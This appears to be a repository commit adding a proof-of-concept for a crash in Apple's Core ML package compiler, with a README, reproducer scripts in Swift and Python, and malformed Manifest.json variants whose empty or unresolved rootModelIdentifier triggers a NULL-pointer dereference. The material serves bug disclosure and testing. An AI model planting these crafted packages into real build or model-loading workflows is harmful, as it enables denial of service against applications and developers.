Add Core ML rootModelIdentifier crash PoC (seed + manifests + rebuild script)
Browse files- CoreMLCompileOne.swift +21 -0
- CoreMLPyObjCCompileOne.py +17 -0
- README.md +96 -3
- SHA256SUMS +12 -0
- build_variants.sh +29 -0
- manifest-baseline.json +18 -0
- manifest-root_id_empty.json +18 -0
- manifest-root_id_missing.json +18 -0
- manifest-root_key_absent.json +17 -0
- manifest-root_points_to_weights.json +18 -0
- provenance-source-url.txt +11 -0
- provenance-upstream-Sudoku-Solver-Pro-9x9-README.md +72 -0
- seed.mlpackage.zip +3 -0
CoreMLCompileOne.swift
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import CoreML
|
| 2 |
+
import Foundation
|
| 3 |
+
|
| 4 |
+
guard CommandLine.arguments.count == 2 else {
|
| 5 |
+
print("usage: CoreMLCompileOne <path-to-mlpackage-or-mlmodel>")
|
| 6 |
+
exit(2)
|
| 7 |
+
}
|
| 8 |
+
|
| 9 |
+
let package = URL(fileURLWithPath: CommandLine.arguments[1])
|
| 10 |
+
|
| 11 |
+
do {
|
| 12 |
+
let compiled = try MLModel.compileModel(at: package)
|
| 13 |
+
print("COMPILE_OK")
|
| 14 |
+
print("COMPILED_PATH=\(compiled.path)")
|
| 15 |
+
let model = try MLModel(contentsOf: compiled)
|
| 16 |
+
print("LOAD_OK")
|
| 17 |
+
print("INPUTS=\(Array(model.modelDescription.inputDescriptionsByName.keys).sorted().joined(separator: ","))")
|
| 18 |
+
} catch {
|
| 19 |
+
print("CONTROLLED_ERROR")
|
| 20 |
+
print(String(describing: error))
|
| 21 |
+
}
|
CoreMLPyObjCCompileOne.py
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import sys
|
| 2 |
+
|
| 3 |
+
from Foundation import NSURL
|
| 4 |
+
import CoreML
|
| 5 |
+
|
| 6 |
+
|
| 7 |
+
if len(sys.argv) != 2:
|
| 8 |
+
print("usage: CoreMLPyObjCCompileOne.py <path-to-mlpackage-or-mlmodel>")
|
| 9 |
+
sys.exit(2)
|
| 10 |
+
|
| 11 |
+
url = NSURL.fileURLWithPath_(sys.argv[1])
|
| 12 |
+
|
| 13 |
+
try:
|
| 14 |
+
result = CoreML.MLModel.compileModelAtURL_error_(url, None)
|
| 15 |
+
print("COMPILE_RETURN", repr(result)[:800])
|
| 16 |
+
except BaseException as exc:
|
| 17 |
+
print("CONTROLLED_EXCEPTION", type(exc).__name__, str(exc)[:800])
|
README.md
CHANGED
|
@@ -1,3 +1,96 @@
|
|
| 1 |
-
|
| 2 |
-
|
| 3 |
-
---
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Core ML .mlpackage rootModelIdentifier crash PoC
|
| 2 |
+
|
| 3 |
+
Proof-of-concept for a deterministic **NULL-pointer-dereference crash (DoS)** in
|
| 4 |
+
Apple's Core ML model-package compilation path, triggered by a malformed
|
| 5 |
+
`.mlpackage` whose `Manifest.json` contains a **present but empty or unresolved
|
| 6 |
+
`rootModelIdentifier`**.
|
| 7 |
+
|
| 8 |
+
This PoC is harmless: it contains only a benign public model and malformed
|
| 9 |
+
manifest metadata. It does **not** execute code, read files, or escape any
|
| 10 |
+
sandbox.
|
| 11 |
+
|
| 12 |
+
## The bug (one sentence)
|
| 13 |
+
|
| 14 |
+
When `rootModelIdentifier` is **absent**, Core ML returns a controlled error
|
| 15 |
+
(`Failed to look up root model`); when it is **present but resolves to no
|
| 16 |
+
`itemInfoEntries` item** (empty string, or a UUID not in the package), Core ML
|
| 17 |
+
dereferences a null pointer and the caller process crashes with `SIGSEGV` /
|
| 18 |
+
exit `139`. Inconsistent validation, not by design.
|
| 19 |
+
|
| 20 |
+
Affected callers (all crash on the same package): `MLModel.compileModel(at:)`
|
| 21 |
+
(Swift), `CoreML.MLModel.compileModelAtURL_error_` (Python/PyObjC),
|
| 22 |
+
`xcrun coremlcompiler compile` (CLI), and `xcodebuild` via its built-in
|
| 23 |
+
`coremlc generate` build rule.
|
| 24 |
+
|
| 25 |
+
## Repository layout
|
| 26 |
+
|
| 27 |
+
```
|
| 28 |
+
seed.mlpackage.zip # one valid Core ML package (shared model + weights), zipped
|
| 29 |
+
manifest-baseline.json # the 5 Manifest.json variants (the ONLY thing that differs)
|
| 30 |
+
manifest-root_id_missing.json
|
| 31 |
+
manifest-root_id_empty.json
|
| 32 |
+
manifest-root_key_absent.json
|
| 33 |
+
manifest-root_points_to_weights.json
|
| 34 |
+
build_variants.sh # unpacks the seed and rebuilds the 5 byte-identical fixtures
|
| 35 |
+
CoreMLCompileOne.swift # minimal Swift reproducer
|
| 36 |
+
CoreMLPyObjCCompileOne.py # minimal Python/PyObjC reproducer
|
| 37 |
+
provenance-source-url.txt # upstream seed model provenance (MIT)
|
| 38 |
+
provenance-upstream-Sudoku-Solver-Pro-9x9-README.md
|
| 39 |
+
SHA256SUMS
|
| 40 |
+
```
|
| 41 |
+
|
| 42 |
+
The model file and weights are identical across all five variants, so they are
|
| 43 |
+
shipped once as `seed.mlpackage.zip`. Each variant is that seed with its
|
| 44 |
+
`Manifest.json` swapped — `build_variants.sh` reconstructs all five
|
| 45 |
+
**byte-identically** to the packages used in the report.
|
| 46 |
+
|
| 47 |
+
## Reproduce (macOS with Xcode / Core ML)
|
| 48 |
+
|
| 49 |
+
```bash
|
| 50 |
+
# 1. Reconstruct the 5 fixtures (seed + per-variant Manifest.json)
|
| 51 |
+
bash build_variants.sh # -> ./models/<variant>.mlpackage
|
| 52 |
+
|
| 53 |
+
# 2. Build the minimal reproducer and run every variant
|
| 54 |
+
swiftc CoreMLCompileOne.swift -o /tmp/coreml-compile-one
|
| 55 |
+
for v in baseline root_id_missing root_id_empty root_key_absent root_points_to_weights; do
|
| 56 |
+
/tmp/coreml-compile-one "models/$v.mlpackage"; echo "$v -> exit $?"
|
| 57 |
+
done
|
| 58 |
+
```
|
| 59 |
+
|
| 60 |
+
### Expected result (the differential)
|
| 61 |
+
|
| 62 |
+
| Variant | Manifest.json change | Result | Exit |
|
| 63 |
+
|---|---|---|---|
|
| 64 |
+
| `baseline` | none (valid) | compiles + loads | `0` |
|
| 65 |
+
| `root_id_missing` | `rootModelIdentifier` = UUID not in `itemInfoEntries` | **SIGSEGV** | `139` |
|
| 66 |
+
| `root_id_empty` | `rootModelIdentifier` = `""` | **SIGSEGV** | `139` |
|
| 67 |
+
| `root_key_absent` | `rootModelIdentifier` key removed | controlled error | `0` |
|
| 68 |
+
| `root_points_to_weights` | `rootModelIdentifier` = weights item UUID | controlled error | `0` |
|
| 69 |
+
|
| 70 |
+
The `root_key_absent` control proves Core ML already has a safe rejection path
|
| 71 |
+
for a missing root model; only the present-but-unresolved states crash.
|
| 72 |
+
|
| 73 |
+
Alternative (Python, no Swift): `python3 CoreMLPyObjCCompileOne.py models/<variant>.mlpackage`
|
| 74 |
+
(requires `pip install pyobjc-framework-CoreML`).
|
| 75 |
+
|
| 76 |
+
## Open-source correlation
|
| 77 |
+
|
| 78 |
+
The same inconsistency is visible in `apple/coremltools`
|
| 79 |
+
(`modelpackage/src/ModelPackage.cpp`, `getRootModel()` throws on absent key but
|
| 80 |
+
returns an unchecked `nullptr` for a present-but-unresolved key). In pure
|
| 81 |
+
open-source `coremltools` (Python) this null surfaces as a controlled
|
| 82 |
+
`AttributeError`; the native `SIGSEGV` is in Apple's compiled Core ML consumer.
|
| 83 |
+
|
| 84 |
+
## Non-claims
|
| 85 |
+
|
| 86 |
+
This PoC does **not** demonstrate code execution, memory corruption beyond a
|
| 87 |
+
NULL dereference, file disclosure, path traversal, symlink local-file access,
|
| 88 |
+
scanner bypass, or remote/no-user exploitation. The claim is a narrow crash-only
|
| 89 |
+
availability issue (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 5.5 Medium)
|
| 90 |
+
in workflows that compile third-party Core ML packages.
|
| 91 |
+
|
| 92 |
+
## Provenance
|
| 93 |
+
|
| 94 |
+
The seed model is the public, MIT-licensed Hugging Face model
|
| 95 |
+
`certen/Sudoku-Solver-Pro-9x9` (`SudoGPT9x9.mlpackage.zip`); see `provenance-source-url.txt`.
|
| 96 |
+
Only `Manifest.json` was mutated to create the PoC variants.
|
SHA256SUMS
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
8e85b52f4b9da4b99cd00d028e489ffccb61a966eceec1187a56f40cdc57b887 build_variants.sh
|
| 2 |
+
ae1a52a08ef42db3d56e99e1f524665c9daffc525aed55da184576ec63219dd2 CoreMLCompileOne.swift
|
| 3 |
+
9c9f33c99958dde1f9589d682b124dc277d0ddec60aded2b69e1134309536194 CoreMLPyObjCCompileOne.py
|
| 4 |
+
08df771595bf8e1a708ee4789e519034d9285c0c8676388f13a12bba85e3306d manifest-baseline.json
|
| 5 |
+
b55f68929b1427a8a6590b855e124b90c20ec13d69cd9cffd8393bed569de73f manifest-root_id_empty.json
|
| 6 |
+
09aa9ae011e29dd25ed0968b1adbd11564a5f36b30d1b04867de0b146a3f115b manifest-root_id_missing.json
|
| 7 |
+
a532357a428c2138ae5230cc5c0333238706def5d3b6193d7c7f0bf9cc1e0140 manifest-root_key_absent.json
|
| 8 |
+
864c2607c5da702242cf0d4c4ba79405577d5480c16b3cd545894913b8b09005 manifest-root_points_to_weights.json
|
| 9 |
+
d55791e83d79527ae3cafd39184a6e28ea325b6d814386816daaf88f60bd05e5 provenance-source-url.txt
|
| 10 |
+
25ee4721f9236c5e40612a3e43582c9d281504fac6a4a1cf2d818f733401aab1 provenance-upstream-Sudoku-Solver-Pro-9x9-README.md
|
| 11 |
+
bbc126a9da641894daf44b55ee33e58804e428fd2fd872f6ad37e5b902a87b5f README.md
|
| 12 |
+
1efd7970e0a35676b5488e165a30822ab2b3bfac55178fe66781022058f66e00 seed.mlpackage.zip
|
build_variants.sh
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env bash
|
| 2 |
+
# Reconstruct the 5 byte-identical Core ML .mlpackage fixtures from one shared
|
| 3 |
+
# seed plus per-variant Manifest.json files.
|
| 4 |
+
#
|
| 5 |
+
# The ONLY difference between the variants is Manifest.json (specifically the
|
| 6 |
+
# rootModelIdentifier value). model.mlmodel and the weights are identical across
|
| 7 |
+
# all five variants, so they are shipped once as seed.mlpackage.zip instead of
|
| 8 |
+
# being duplicated 5x. This script unpacks the seed and rebuilds the exact same
|
| 9 |
+
# packages used in the report (verified byte-identical).
|
| 10 |
+
set -euo pipefail
|
| 11 |
+
HERE="$(cd "$(dirname "$0")" && pwd)"
|
| 12 |
+
OUT="${1:-$HERE/models}"
|
| 13 |
+
mkdir -p "$OUT"
|
| 14 |
+
|
| 15 |
+
# Unpack the shared seed once into the output area (keeps the repo itself clean).
|
| 16 |
+
SEEDROOT="$OUT/_seed"
|
| 17 |
+
if [ ! -d "$SEEDROOT/seed.mlpackage" ]; then
|
| 18 |
+
rm -rf "$SEEDROOT"
|
| 19 |
+
mkdir -p "$SEEDROOT"
|
| 20 |
+
unzip -q "$HERE/seed.mlpackage.zip" -d "$SEEDROOT"
|
| 21 |
+
fi
|
| 22 |
+
SEED="$SEEDROOT/seed.mlpackage"
|
| 23 |
+
|
| 24 |
+
for v in baseline root_id_missing root_id_empty root_key_absent root_points_to_weights; do
|
| 25 |
+
rm -rf "$OUT/$v.mlpackage"
|
| 26 |
+
cp -R "$SEED" "$OUT/$v.mlpackage"
|
| 27 |
+
cp "$HERE/manifest-$v.json" "$OUT/$v.mlpackage/Manifest.json"
|
| 28 |
+
done
|
| 29 |
+
echo "Reconstructed 5 .mlpackage fixtures in: $OUT"
|
manifest-baseline.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"fileFormatVersion": "1.0.0",
|
| 3 |
+
"itemInfoEntries": {
|
| 4 |
+
"193E8D46-613D-46B4-96FD-743532FFFC43": {
|
| 5 |
+
"author": "com.apple.CoreML",
|
| 6 |
+
"description": "CoreML Model Specification",
|
| 7 |
+
"name": "model.mlmodel",
|
| 8 |
+
"path": "com.apple.CoreML/model.mlmodel"
|
| 9 |
+
},
|
| 10 |
+
"562AF752-ED74-46E6-82E5-DE143F229451": {
|
| 11 |
+
"author": "com.apple.CoreML",
|
| 12 |
+
"description": "CoreML Model Weights",
|
| 13 |
+
"name": "weights",
|
| 14 |
+
"path": "com.apple.CoreML/weights"
|
| 15 |
+
}
|
| 16 |
+
},
|
| 17 |
+
"rootModelIdentifier": "193E8D46-613D-46B4-96FD-743532FFFC43"
|
| 18 |
+
}
|
manifest-root_id_empty.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"fileFormatVersion": "1.0.0",
|
| 3 |
+
"itemInfoEntries": {
|
| 4 |
+
"193E8D46-613D-46B4-96FD-743532FFFC43": {
|
| 5 |
+
"author": "com.apple.CoreML",
|
| 6 |
+
"description": "CoreML Model Specification",
|
| 7 |
+
"name": "model.mlmodel",
|
| 8 |
+
"path": "com.apple.CoreML/model.mlmodel"
|
| 9 |
+
},
|
| 10 |
+
"562AF752-ED74-46E6-82E5-DE143F229451": {
|
| 11 |
+
"author": "com.apple.CoreML",
|
| 12 |
+
"description": "CoreML Model Weights",
|
| 13 |
+
"name": "weights",
|
| 14 |
+
"path": "com.apple.CoreML/weights"
|
| 15 |
+
}
|
| 16 |
+
},
|
| 17 |
+
"rootModelIdentifier": ""
|
| 18 |
+
}
|
manifest-root_id_missing.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"fileFormatVersion": "1.0.0",
|
| 3 |
+
"itemInfoEntries": {
|
| 4 |
+
"193E8D46-613D-46B4-96FD-743532FFFC43": {
|
| 5 |
+
"author": "com.apple.CoreML",
|
| 6 |
+
"description": "CoreML Model Specification",
|
| 7 |
+
"name": "model.mlmodel",
|
| 8 |
+
"path": "com.apple.CoreML/model.mlmodel"
|
| 9 |
+
},
|
| 10 |
+
"562AF752-ED74-46E6-82E5-DE143F229451": {
|
| 11 |
+
"author": "com.apple.CoreML",
|
| 12 |
+
"description": "CoreML Model Weights",
|
| 13 |
+
"name": "weights",
|
| 14 |
+
"path": "com.apple.CoreML/weights"
|
| 15 |
+
}
|
| 16 |
+
},
|
| 17 |
+
"rootModelIdentifier": "00000000-0000-0000-0000-000000000000"
|
| 18 |
+
}
|
manifest-root_key_absent.json
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"fileFormatVersion": "1.0.0",
|
| 3 |
+
"itemInfoEntries": {
|
| 4 |
+
"193E8D46-613D-46B4-96FD-743532FFFC43": {
|
| 5 |
+
"author": "com.apple.CoreML",
|
| 6 |
+
"description": "CoreML Model Specification",
|
| 7 |
+
"name": "model.mlmodel",
|
| 8 |
+
"path": "com.apple.CoreML/model.mlmodel"
|
| 9 |
+
},
|
| 10 |
+
"562AF752-ED74-46E6-82E5-DE143F229451": {
|
| 11 |
+
"author": "com.apple.CoreML",
|
| 12 |
+
"description": "CoreML Model Weights",
|
| 13 |
+
"name": "weights",
|
| 14 |
+
"path": "com.apple.CoreML/weights"
|
| 15 |
+
}
|
| 16 |
+
}
|
| 17 |
+
}
|
manifest-root_points_to_weights.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"fileFormatVersion": "1.0.0",
|
| 3 |
+
"itemInfoEntries": {
|
| 4 |
+
"193E8D46-613D-46B4-96FD-743532FFFC43": {
|
| 5 |
+
"author": "com.apple.CoreML",
|
| 6 |
+
"description": "CoreML Model Specification",
|
| 7 |
+
"name": "model.mlmodel",
|
| 8 |
+
"path": "com.apple.CoreML/model.mlmodel"
|
| 9 |
+
},
|
| 10 |
+
"562AF752-ED74-46E6-82E5-DE143F229451": {
|
| 11 |
+
"author": "com.apple.CoreML",
|
| 12 |
+
"description": "CoreML Model Weights",
|
| 13 |
+
"name": "weights",
|
| 14 |
+
"path": "com.apple.CoreML/weights"
|
| 15 |
+
}
|
| 16 |
+
},
|
| 17 |
+
"rootModelIdentifier": "562AF752-ED74-46E6-82E5-DE143F229451"
|
| 18 |
+
}
|
provenance-source-url.txt
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
Source model repository:
|
| 2 |
+
https://huggingface.co/certen/Sudoku-Solver-Pro-9x9
|
| 3 |
+
|
| 4 |
+
Downloaded file:
|
| 5 |
+
https://huggingface.co/certen/Sudoku-Solver-Pro-9x9/resolve/main/SudoGPT9x9.mlpackage.zip
|
| 6 |
+
|
| 7 |
+
License from model card/API:
|
| 8 |
+
MIT
|
| 9 |
+
|
| 10 |
+
Downloaded for local BB Factory staging on:
|
| 11 |
+
2026-06-19
|
provenance-upstream-Sudoku-Solver-Pro-9x9-README.md
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: mit
|
| 3 |
+
library_name: coreml
|
| 4 |
+
tags:
|
| 5 |
+
- sudoku
|
| 6 |
+
- transformer
|
| 7 |
+
- puzzle-solver
|
| 8 |
+
- ios
|
| 9 |
+
- coreml
|
| 10 |
+
metrics:
|
| 11 |
+
- accuracy
|
| 12 |
+
---
|
| 13 |
+
|
| 14 |
+
# Sudoku Solver Pro (9x9)
|
| 15 |
+
|
| 16 |
+
A powerful transformer-based Sudoku solver designed for high-performance inference on Apple Silicon (via Core ML) and PyTorch. This is the **Pro** version of the SudoGPT architecture, featuring a deeper 6-layer transformer.
|
| 17 |
+
|
| 18 |
+
## Model Details
|
| 19 |
+
|
| 20 |
+
- **Architecture**: 6-layer Transformer Encoder
|
| 21 |
+
- **Embedding Dimension**: 256
|
| 22 |
+
- **Attention Heads**: 8
|
| 23 |
+
- **Parameters**: 4.77 Million
|
| 24 |
+
- **Checkpoints**: Included PyTorch (`.pt`) and Compiled Core ML (`.mlmodelc`)
|
| 25 |
+
|
| 26 |
+
## Performance (Current)
|
| 27 |
+
|
| 28 |
+
*Evaluated at 170,000 training steps:*
|
| 29 |
+
|
| 30 |
+
- **Solve Rate (AI-Only)**: 10.5%
|
| 31 |
+
- **Cell Blank Accuracy**: 85.8%
|
| 32 |
+
- **Inference Time (MPS)**: ~1-5ms
|
| 33 |
+
|
| 34 |
+
|
| 35 |
+
## Files in this Repository
|
| 36 |
+
|
| 37 |
+
- `SudoGPT9x9_Pro_Standalone.pt`: Standalone TorchScript model. This can be loaded by pyTorch
|
| 38 |
+
- `NeuralSudoku9x9.mlmodelc`: Compiled Core ML model for direct use in iOS/macOS apps.
|
| 39 |
+
- `SudoGPT9x9.mlpackage`: Core ML Model Package for Editing in Xcode.
|
| 40 |
+
|
| 41 |
+
## Usage
|
| 42 |
+
|
| 43 |
+
### PyTorch (Standalone)
|
| 44 |
+
|
| 45 |
+
```python
|
| 46 |
+
import torch
|
| 47 |
+
|
| 48 |
+
# Load model (No original source code required)
|
| 49 |
+
model = torch.jit.load("SudoGPT9x9_Pro_Standalone.pt")
|
| 50 |
+
model.eval()
|
| 51 |
+
|
| 52 |
+
# Inference
|
| 53 |
+
# input_tensor: [1, 81] int tensor of Sudoku cells (0-9)
|
| 54 |
+
with torch.no_grad():
|
| 55 |
+
logits = model(input_tensor)
|
| 56 |
+
predictions = torch.argmax(logits, dim=-1) + 1
|
| 57 |
+
```
|
| 58 |
+
|
| 59 |
+
### Core ML (Swift)
|
| 60 |
+
|
| 61 |
+
```swift
|
| 62 |
+
import CoreML
|
| 63 |
+
|
| 64 |
+
let config = MLModelConfiguration()
|
| 65 |
+
let solver = try NeuralSudoku9x9(configuration: config)
|
| 66 |
+
```
|
| 67 |
+
|
| 68 |
+
## Dataset Info
|
| 69 |
+
This model was trained on millions of synthetic Sudoku puzzles using geometric transformations of seed boards to ensure high variety and validity.
|
| 70 |
+
|
| 71 |
+
## License
|
| 72 |
+
MIT
|
seed.mlpackage.zip
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:1efd7970e0a35676b5488e165a30822ab2b3bfac55178fe66781022058f66e00
|
| 3 |
+
size 8834898
|